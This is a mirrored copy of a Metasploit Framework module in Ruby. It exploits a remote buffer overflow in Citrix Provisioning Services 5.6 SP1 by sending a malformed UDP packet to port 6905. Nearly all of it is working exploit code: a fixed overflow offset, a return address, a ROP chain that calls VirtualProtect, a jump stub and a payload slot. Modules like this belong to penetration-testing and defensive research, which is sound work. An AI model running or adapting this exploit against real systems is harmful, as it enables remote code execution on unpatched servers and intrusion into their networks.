CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/misc/citrix_streamprocess_data_msg.rb
Views: 1904
1
# -*- coding: binary -*-
2
3
##
4
# This module requires Metasploit: https://metasploit.com/download
5
# Current source: https://github.com/rapid7/metasploit-framework
6
##
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = NormalRanking
10
11
include Msf::Exploit::Remote::Udp
12
13
def initialize(info = {})
14
super(update_info(info,
15
'Name' => 'Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode 0x40020000 Buffer Overflow',
16
'Description' => %q{
17
This module exploits a remote buffer overflow in the Citrix Provisioning Services
18
5.6 SP1 (without Hotfix CPVS56SP1E043) by sending a malformed packet to the
19
6905/UDP port. The module has been successfully tested on Windows Server 2003 SP2,
20
Windows 7, and Windows XP SP3.
21
},
22
'License' => MSF_LICENSE,
23
'Author' =>
24
[
25
'AbdulAziz Hariri', # Initial discovery via ZDI
26
'alino <26alino[at]gmail.com>' # Metasploit module
27
],
28
'References' =>
29
[
30
['OSVDB', '75780'],
31
['BID', '49803'],
32
['ZDI', '12-009'],
33
['URL', 'http://support.citrix.com/article/CTX130846']
34
],
35
'DefaultOptions' =>
36
{
37
'EXITFUNC' => 'process',
38
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
39
},
40
'Payload' =>
41
{
42
'BadChars' => "\x00",
43
'EncoderOptions' => {'BufferRegister'=>'ECX'},
44
},
45
'Platform' => ['win'],
46
'Targets' =>
47
[
48
[ 'Citrix Provisioning Services 5.6 SP1',
49
{
50
'Offset' => 2012,
51
'Ret' => 0x0045403a # ADD ESP,664; RETN 04 streamprocess.exe
52
}
53
]
54
],
55
'Privileged' => true,
56
'DisclosureDate' => '2011-11-04', #CTX130846 creation date
57
'DefaultTarget' => 0))
58
59
register_options([Opt::RPORT(6905)])
60
end
61
62
def exploit
63
64
packet = "\x00\x00\x02\x40" # DATA MSG
65
packet << rand_text_alpha_upper(18)
66
packet << "\x00\x00\x00\x00" # Length
67
packet << rand_text_alpha_upper(target['Offset'])
68
packet << [target.ret].pack('V')
69
70
rop_nop = [0x004a072c].pack('V') * 38 # RETN streamprocess.exe
71
72
rop_gadgets =
73
[
74
0x0045b141, # POP EAX; RETN streamprocess.exe
75
0x1009a1bc, # VirtualProtect()
76
0x00436d44, # MOV EAX,DWORD PTR DS:[EAX]; RETN streamprocess.exe
77
0x004b0bbe, # XCHG EAX,ESI; RETN streamprocess.exe
78
0x004ad0cf, # POP EBP; RETN streamprocess.exe
79
0x00455d9d, # PUSH ESP; RETN streamprocess.exe
80
0x00497f5a, # POP EAX; RETN streamprocess.exe
81
0xfffff9d0, # dwSize
82
0x00447669, # NEG EAX; RETN streamprocess.exe
83
0x004138a7, # ADD EBX,EAX; XOR EAX,EAX; RETN streamprocess.exe
84
0x00426305, # POP ECX; RETN streamprocess.exe
85
0x00671fb9, # lpflOldProtect
86
0x004e41e6, # POP EDI; RETN streamprocess.exe
87
0x0040f004, # RETN streamprocess.exe
88
0x00495c05, # POP EAX; RETN streamprocess.exe
89
0xffffffc0, # flNewProtect
90
0x0042c79a, # NEG EAX; RETN streamprocess.exe
91
0x0049b676, # XCHG EAX,EDX; RETN streamprocess.exe
92
0x0045c1fa, # POP EAX; RETN streamprocess.exe
93
0x90909090, # NOP
94
0x00435bbe, # PUSHAD; RETN streamprocess.exe
95
].pack("V*")
96
97
packet[258, rop_nop.length] = rop_nop
98
packet[410, rop_gadgets.length] = rop_gadgets
99
packet[494, 10] = "\xeb\x03\x59\xff\xd1\xe8\xf8\xff\xff\xff"
100
packet[504, payload.encoded.length] = payload.encoded
101
102
print_status("Trying target #{target.name}...")
103
104
connect_udp
105
udp_sock.put(packet)
106
107
handler
108
disconnect_udp
109
end
110
end
111
112